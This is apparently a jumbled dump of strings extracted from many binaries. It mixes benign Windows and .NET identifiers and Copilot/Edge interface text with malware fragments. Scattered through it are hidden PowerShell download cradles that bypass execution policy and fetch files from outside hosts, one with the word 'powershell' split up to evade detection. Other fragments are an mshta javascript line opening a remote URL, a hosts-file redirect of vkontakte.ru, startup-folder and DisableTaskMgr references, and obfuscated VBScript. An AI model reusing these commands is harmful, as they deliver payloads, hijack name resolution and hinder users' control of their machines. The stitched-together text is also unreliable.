Unable to get Public Modulus of WindowsAIK.
Error when trying to NCryptImportKey the WindowsAIK.
<?xml version="1.0" encoding="utf-8"?><EKCertificateRequest ProtocolVersion="%d" xmlns="http://schemas.microsoft.com/windows/security/mkms/ekcertificaterequest/v1">
onecore\windows\advcore\ctf\inputsetting\installlayoutortipprivate.cpp
EnumWindows
powershell-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('http://nvidia.pcriot.com/
c:\programdata\microsoft\windows\wer\reportqueuec
C:\WINDOWS\System32\drivers\ACPI.sys[ACPIMOFResource]>!
DriverData=C:\Windows\System32\
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
 Windows.Microsoft Copilot 
 Windows.Microsoft Copilot 
 Windows.Microsoft Copilot 
 Windows.Microsoft Copilot 
 Windows.Microsoft Copilot 
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection beforeect user privacy.Learn about how Microsoft Copilot protects your passwordsMicrosoft Copilot recommends changing your password if you've used it on other sites.Microsoft Copilot recommends changing your <strong>$1</strong> password if you've used it on other sites.To pay faster next time, save your card to your deviceMicrosoft Copilot will save and fill in this card's info next time.Autofill this card for purchases made in Microsoft Copilot when it's saved on this deviceAutofill this card for purchases made in Microsoft Copilot when it's saved to use with Google PayMicrosoft Copilot is trying to verify it's you so it can fill in your payment info.Microsoft Copilot will now verify it's you before filling in payment methods. You can update this at any time in $1.To pay faster next time, Microsoft Copilot can save this card's info and share it to your Microsoft account.$1    $2Card saved to Microsoft CopilotWe've saved your card in Microsoft CopilotYour card details were saved to Microsoft Copilot. To save it to your Microsoft account and use it across devices, update your card details.Your card details were saved to Microsoft Copilot. To save it as a virtual card to your Microsoft account and use it securely across devices, update your card details.Your card has been saved. To use it in Microsoft Copilot across all your devices, sign in to your Microsoft account.Card info can be edited in Wallet in the Copilot app.Microsoft Copilot will save your card info including billing address to your Microsoft account, to help you pay faster next time and pay from different devices.Save card to Microsoft CopilotSave your card info including billing address to Microsoft Copilot on this device, to help you pay faster next time.Card and security code saved. Manage your payment methods in $1.When enabled, you will be asked to verify your identity before Microsoft Copilot autofills your card details. This can be changed in settings.Microsoft Copilot will ask you to verify your identity before filling your card details. This can be changed in $1.This IBAN couldn't be saved in your Microsoft Account. It's saved to Microsoft Copilot on this device instead. Microsoft Copilot will ask you again the next time you use this IBAN.Remove this suggestion from Microsoft Copilot?Remove credit card from Microsoft Copilot?Remove address from Microsoft Copilot?Remove this info from Microsoft Copilot autofill?Info from your Microsoft Account can help you fill forms faster in Microsoft CopilotThis address is saved only to Microsoft Copilot. To use it across Microsoft products, save it in your Microsoft Account, $1.I consent to the placement of cookies on my application to facilitate billing with the coupon provider. Link to learn more Microsoft's Privacy Statement.Microsoft Copilot found couponsInformation saved in Microsoft CopilotMicrosoft Copilot generated this strong password.Use Microsoft Copilot generated strong passwordSave and update your passwords quickly and easily in Microsoft CopilotSave your passwords more securely on Microsoft CopilotSave passwords in Microsoft Copilot to see if they're reused or weakThis password will be saved and synced across your devices. you can access it any time on Copilot throughMicrosoft Copilot generated this new password.*includes data you filled online that was autosaved in Microsoft CopilotSave info in Microsoft Copilot to quickly fill out forms.By enabling these features, you could lose application data or
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
::Windows::Rtl::IsValid(String)
::Windows::Isolation::Rtl::IsValid(AppId)
Windows::Isolation::Rtl::IsValid(AppId2)
Windows::Isolation::Rtl::IsValid(AppId1)
Windows::Isolation::Rtl::IsValid(AppId)
Microsoft.Windows.Midi2.Virtual
<= "cmd /k " + "p" & "ower" & "s" + "h" + "ell.e" + "x" + "e-windowstyle hidden -executionpolicy bypass -noprofile (new-object system.net.webclient).downloadfile('http:/','%temp%\
-windowstyle hidden -executionpolicy bypass -noprofile -file %temp%\
/windows/desiredstateconfiguration
.?AVQWindowsUiaTextRangeProvider@@
.?AV?$QWindowsComBase@UITextRangeProvider@@@@
.?AVQWindowsUiaToggleProvider@@
.?AV?$QWindowsComBase@UIToggleProvider@@@@
.?AVQWindowsUiaSelectionProvider@@
.?AV?$QWindowsComBase@UISelectionProvider@@@@
.?AVQWindowsUiaSelectionItemProvider@@
.?AV?$QWindowsComBase@UISelectionItemProvider@@@@
.?AVQWindowsUiaInvokeProvider@@
.?AV?$QWindowsComBase@UIInvokeProvider@@@@
.?AVQWindowsUiaRangeValueProvider@@
.?AV?$QWindowsComBase@UIRangeValueProvider@@@@
.?AVQWindowsUiaTableProvider@@
.?AV?$QWindowsComBase@UITableProvider@@@@
.?AVQWindowsUiaTableItemProvider@@
.?AV?$QWindowsComBase@UITableItemProvider@@@@
.?AVQWindowsUiaGridProvider@@
.?AV?$QWindowsComBase@UIGridProvider@@@@
.?AVQWindowsUiaGridItemProvider@@
.?AV?$QWindowsComBase@UIGridItemProvider@@@@
.?AVQWindowsUiaWindowProvider@@
.?AV?$QWindowsComBase@UIWindowProvider@@@@
.?AVQWindowsUiaExpandCollapseProvider@@
.?AV?$QWindowsComBase@UIExpandCollapseProvider@@@@
.?AVQWindowsUiaWindowProviderDialog@@
.?AVQWindowsIntegrationPlugin@@
.?AVQWindowsBackingStore@@
.?AVQWindowsGdiIntegration@@
.?AVQWindowsNativeInterface@@
.?AVQWindowsGdiNativeInterface@@
.?AVQWindowsGuiEventDispatcher@@
.?AVQWindowsFontDatabase@@
.?AVQWindowsFontEngine@@
.?AVQWindowsFontEngineDirectWrite@@
.?AVQWindowsUiaWrapper@@
\appdata\roaming\microsoft\windows\start menu\programs\startup
onecore\windows\core\console\open\src\interactivity\win32\consoleinputthread.cpp
onecore\windows\core\console\open\src\host\inputreadhandledata.cpp
onecore\windows\core\console\open\src\interactivity\base\hostsignalinputthread.cpp
Fc?u(onecore\windows\core\console\open\src\types\viewport.cpp
onecore\windows\core\console\open\src\host\vtio.cpp
	ules;C:\WINDOWS\system320
SELECT _ApplicationContentUriRuleID, _Revision, _WorkId, Application, "Index", Uri, Type, WindowsRuntimeAccess, Flags, _Dictionary FROM ApplicationContentUriRulce, a.ApplicationViewMinWidth, a.AppListEntry, a.EditionId, a.VisualGroup, a.Parameters, a.CurrentDirectoryPath, a._Dictionary FROM Application AS a INNER JOIN Package AS p ON p._PackageID=a.Package INNER JOIN PackageFamily AS pf ON pf._PackageFamilyID=p.PackageFamily INNER JOIN PackageUser AS pu ON pu.Package=p._PackageID WHERE pf.PackageFamilyName=?2 AND a.AppListEntry==?3 AND pu.User=?1 AND (a._WorkId=0 OR a._WorkId=?4) AND (p._WorkId=0 OR p._WorkId=?4)  AND (pu._WorkId=0 OR pu._WorkId=?4);
Global.WidgetBoardMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!F
Global.WidgetViewWinUI3MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!K
windows.preInstalledConfigTask
! @default$windows.data.donotdisturb.quietmoment$
(@windows.data.donotdisturb.quietmoment$
COMPUTERNAME=WINDOWS11
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr
if/i"%systemroot%"=="c:\windows
for/rc:\windows%%
.?AU?$default_delete@VIClipboardHistoryDataStore@DataTransfer@Internal@ApplicationModel@Windows@@@std@@
.?AU?$default_delete@VIClipboardNotificationsSender@DataTransfer@Internal@ApplicationModel@Windows@@@std@@
.?AU?$default_delete@VClipboardDataCompressor@DataTransfer@Internal@ApplicationModel@Windows@@@std@@
.?AU?$default_delete@VClipboardDataDecompressor@DataTransfer@Internal@ApplicationModel@Windows@@@std@@
.?AU?$default_delete@VClipboardDataEncrypter@DataTransfer@Internal@ApplicationModel@Windows@@@std@@
.?AU?$default_delete@VClipboardDataDecrypter@DataTransfer@Internal@ApplicationModel@Windows@@@std@@
Microsoft.Windows.Networking.RAS.RASServer.AgileVPN
Microsoft.Windows.Networking.RAS.RASServer
Microsoft.Windows.Networking.RAS.Routing.BGP
Microsoft.Windows.Networking.RAS.RASServer.Ddm
"@Microsoft-Windows-User Device Registration
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.30
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.34
WindowsPowerShell\\v1.0\\p
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceSite.GetWindowContext
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceFrame.SetMenu
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.ShowContextMenu
System.Windows.Forms.UnsafeNativeMethods.IViewObject2.Draw
System.Windows.Forms.UnsafeNativeMethods.IViewObject.Draw
System.Windows.Forms.UnsafeNativeMethods.IPersistStorage.InitNew
System.Windows.Forms.UnsafeNativeMethods.IPersistPropertyBag.InitNew
System.Windows.Forms.UnsafeNativeMethods.IPersistStreamInit.InitNew
System.Windows.Forms.UnsafeNativeMethod
c:\windows\system32\csmon.exe
c:\windows\
echo 216.195.62.199 vkontakte.ru >> %windir%\system32\drivers\etc\n
Windows Produc'
Windows Produc'
wow64_microsoft-windows-w..rastructure-upgrade_31bf3856ad364e35_none_8059dbad4a605a3e
wow64_microsoft-windows-w..reg-folder-settings_31bf3856ad364e35_none_fea590919fa61f4c
wow64_microsoft-windows-w..registrar.resources_31bf3856ad364e35_en-us_0a6038289b67fd31
wow64_microsoft-windows-w..ropertypageprovider_31bf3856ad364e35_none_f36fdfbc677b0e88
wow64_microsoft-windows-w..scoveryprovider-dll_31bf3856ad364e35_none_d9d330f06c865338
wow64_microsoft-windows-w..scripting.resources_31bf3856ad364e35_en-us_ea3bb556ed706f85
wow64_microsoft-windows-w..sition-coreservices_31bf3856ad364e35_none_ee6592dd288e54cc
wow64_microsoft-windows-w..sition-uicomponents_31bf3856ad364e35_none_5c93f54d668f31e7
wow64_microsoft-windows-w..t-snapins.resources_31bf3856ad364e35_en-us_56a4916150d011e6
WindowsLicen
	msWindowsTaskManager
-workingdirectory$env:temp-windowstylehidden
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windmin.(gcmcur*e).namehttps://heradyy.net/
c:\\windows\\temp\\
c:\windows\system32\mshta.exejavascript:open('http://t1.daumcdn.net/cfile/tistory/997315465b2f3faf01');close();
.Windows Defender Firewall with Advanced Security.lnk
*Windows PowerShell ISE.lnk|
*Windows PowerShell ISE (x86).lnk{
'Windows Media Player Legacy.lnkv
.Windows Defender Firewall with Advanced Security.lnk
*Windows PowerShell ISE.lnk|
*Windows PowerShell ISE (x86).lnk{
'Windows Media Player Legacy.lnkv
(windows-defender(-features|-gui)?(\s|;|$))
C:\Windows\System32\smartscreen.exe2
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxcrosoft-Windows-Capture-RtMediaPreview" Name="c2b69254-1579-4c5f-9746-28ea00311bdd" />
    <EventProvider Id="Microsoft-Windows-Devices-Lights-LightsWinRTLayer" Name="1964d316-5ec7-496f-82a8-a62c8b164b1a" />
    <EventProvider Id="Microsoft-Windows-ExBusAudioWMIProvider" Name="a011308e-e43b-4120-ad04-c023bb14f2b6" />
    <EventProvider Id="Microsoft-Windows-HDAudioBusWMIProvider" Name="9502cbc6-aa74-4eff-ba91-d9329bcce758" />
    <EventProvider Id="Microsoft-Windows-Media-BackgroundPolicy" Name="5b1c79f0-a7b1-4fb1-a3c7-374528a7b075" />
    <EventProvider Id="Microsoft-Windows-MediaEditing" Name="1123dc81-0423-4f27-bf57-6619e6bf85cc" Level="32">
    <EventProvider Id="Microsoft-Windows-MediaEngine" Name="8f2048e0-f260-4f57-a8d1-932376291682" />
    <EventProvider Id="Microsoft-Windows-MediaFoundation-MFCaptureEngine" Name="b8197c10-845f-40ca-82ab-9341e98cfc2b" />
    <EventProvider Id="Microsoft-Windows-MediaFoundation-MFReadWrite" Name="4b7eac67-fc53-448c-a49d-7cc6db524da7" />
    <EventProvider Id="Microsoft-Windows-MediaFoundation-Platform" Name="bc97b970-d001-482f-8745-b8d7d5759f99" />
    <EventProvider Id="Microsoft-Windows-MediaFoundation-SinkWriter" Name="ca1d0166-619f-4177-a6c5-6faae46b42ef" />
    <EventProvider Id="Microsoft-Windows-MediaFoundation-SourceReader" Name="86bf288b-fe8c-4174-98aa-0ea625a0bea6" />
    <EventProvider Id="Microsoft-Windows-MF" Name="a7364e1a-894f-4b3d-a930-2ed9c8c4c811" />
    <EventProvider Id="Microsoft-Windows-MF-CAPTURE-ENGINE-WPP" Name="00000007-0dc9-401d-b9b8-05e4eca4977e" />
    <EventProvider Id="Microsoft-Windows-MF-CORE-MFTS-WPP" Name="00000005-0dc9-401d-b9b8-05e4eca4977e" />
    <EventProvider Id="Microsoft-Windows-MF-CORE-SINKS-WPP" Name="00000002-0dc9-401d-b9b8-05e4eca4977e" />
    <EventProvider Id="Microsoft-Windows-MF-CORE-SOURCES-WPP" Name="00000003-0dc9-401d-b9b8-05e4eca4977e" />
    <EventProvider Id="Microsoft-Windows-MFH264Enc" Name="2a49de31-8a5b-4d3a-a904-7fc7409ae90d" />
    <EventProvider Id="Microsoft-Windows-MF-MEDIAENGINE-WPP" Name="c9c074d2-ff9b-410f-8ac6-81c7b8e60d0f" />
    <EventProvider Id="Microsoft-Windows-MF-NETWORK-WPP" Name="00000004-0dc9-401d-b9b8-05e4eca4977e" />
    <EventProvider Id="Microsoft-Windows-MF-PERSAMPLE-INFO-WPP" Name="00000011-0dc9-401d-b9b8-05e4eca4977e" />
    <EventProvider Id="Microsoft-Windows-MF-PIPELINE-WPP" Name="00000001-0dc9-401d-b9b8-05e4eca4977e" />
    <EventProvider Id="Microsoft-Windows-MF-PLATFORM-WPP" Name="00000000-0dc9-401d-b9b8-05e4eca4977e" />
    <EventProvider Id="Microsoft-Windows-MF-PLAY-WPP" Name="00000006-0dc9-401d-b9b8-05e4eca4977e" />
    <EventProvider Id="Microsoft-Windows-MF-VIDEO_PROCESSOR-WPP" Name="00000008-0dc9-401d-b9b8-05e4eca4977e" />
    <EventProvider Id="Microsoft-Windows-PerceptionRuntime" Name="0279b50e-52bd-4ed6-a7fd-b683d9cdf45d" />
    <EventProvider Id="Microsoft-Windows-PerceptionRuntime-Stub" Name="c73dbab0-5395-4d87-8134-290d28ac0e01" />
    <EventProvider Id="Microsoft-Windows-PerceptionRuntime-Verbose" Name="f4183a75-20d4-479b-967d-367dbf62a058" />
    <EventProvider Id="Microsoft-Windows-PerceptionSensorDataService" Name="747e166b-dfa0-4e13-bc91-eb38dfcb4554" />
    <EventProvider Id="Microsoft-Windows-PerceptionSensorDataService-Verbose" Name="1b5106b1-7622-4740-ad81-d9c6ee74f124" />
    <EventProvider Id="Microsoft-WindowsPhone-AppPlatProvider-Test" Name="1230dd62-03b6-4a26-92f5-06374d678571" />
    <EventProvider Id="Microsoft-WindowsPhone-AudioRouting" Name="c72d385e-3a63-4e6d-8393-9399a36bd6e4" />
    <EventProvider Id="Microsoft-WindowsPhone-AudioSrvPolicyManager" Name="71e0ac1e-cfa2-447c-91c7-4f307030f2fc" />
    <EventProvider Id="Microsoft-WindowsPhone-AudioTuner" Name="ca48be7d-ce1c-4ca9-a00d-db5359e3a9a1" />
    <EventProvider Id="Microsoft-WindowsPhone-AudioVolumeManager" Name="40902cc8-3c03-4e86-bc0d-183ee12a2215" />
    <EventProvider Id="Microsoft-WindowsPhone-BackgroundAudio" Name="ccaf25e4-ba71-4fe5-bb4a-3440d9abeac4" />
~System.Windows.Forms.Design.DataGridDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.DataGridColumnCollectionEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.DataGridViewDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.DataGridViewComponentEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3apSystem.ComponentModel.ComponentEditor, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-System.Windows.Forms.DataGridViewButtonColumn
.System.Windows.Forms.DataGridViewCellConverter
3System.Windows.Forms.DataGridViewCellStyleConverter
System.Windows.Forms.Design.DataGridViewCellStyleEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
/System.Windows.Forms.DataGridViewCheckBoxColumn
System.Windows.Forms.Design.DataGridViewColumnDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
0System.Windows.Forms.DataGridViewColumnConverter
System.Windows.Forms.Design.DataGridViewComboBoxColumnDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
/System.Windows.Forms.DataGridViewComboBoxColumn
,System.Windows.Forms.DataGridViewImageColumn
+System.Windows.Forms.DataGridViewLinkColumn
-System.Windows.Forms.DataGridViewRowConverter
System.Windows.Forms.Design.DataGridViewRowCollectionCodeDomSerializer, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
.System.Windows.Forms.DataGridViewTextBoxColumn
System.Windows.Forms.Design.DateTimePickerDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
xSystem.Windows.Forms.Design.DockEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Control
System.Windows.Forms.Control
System.Windows.Forms.Control
2System.Windows.Forms.FlatButtonAppearanceConverter
System.Windows.Forms.Control
System.Windows.Forms.Design.FlowLayoutPanelDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.FolderBrowserDialogDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
%System.Windows.Forms.Control.TopLevel
System.Windows.Forms.Design.FormDocumentDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3au
\system32\user.exe
uWindows@
C:\Users\job\AppData\Local\Microsoft\Windows\WebCache\
C:\Users\job\AppData\Local\Microsoft\Windows\WebCache\
SPI_SETDRAGFULLWINDOWS
SPI_GETDRAGFULLWINDOWS
SPI_SETPENWINDOWS
SPI_GETWINDOWSEXTENSION
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
q=replace(skrkprop7,"calc","0")skrkprop7=replace(skrkprop7,"square","f")phrenosi=stresssit.expandenvironmentstrings("%windir%\syswow64\windowspo"
WindowsTopResults
WindowsSuggestionFileExplorer
i2VB Z neta\WindowsApplication1\WindowsApplication1\obj\x86\Debug\WindowsApplication1.pdbh
        Dim windowStyle As Integer: windowStyle = 1
&soft.WindowsAppRuntime.Release!1.7.208u
#MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!Global.)
-MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadata
3MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManager
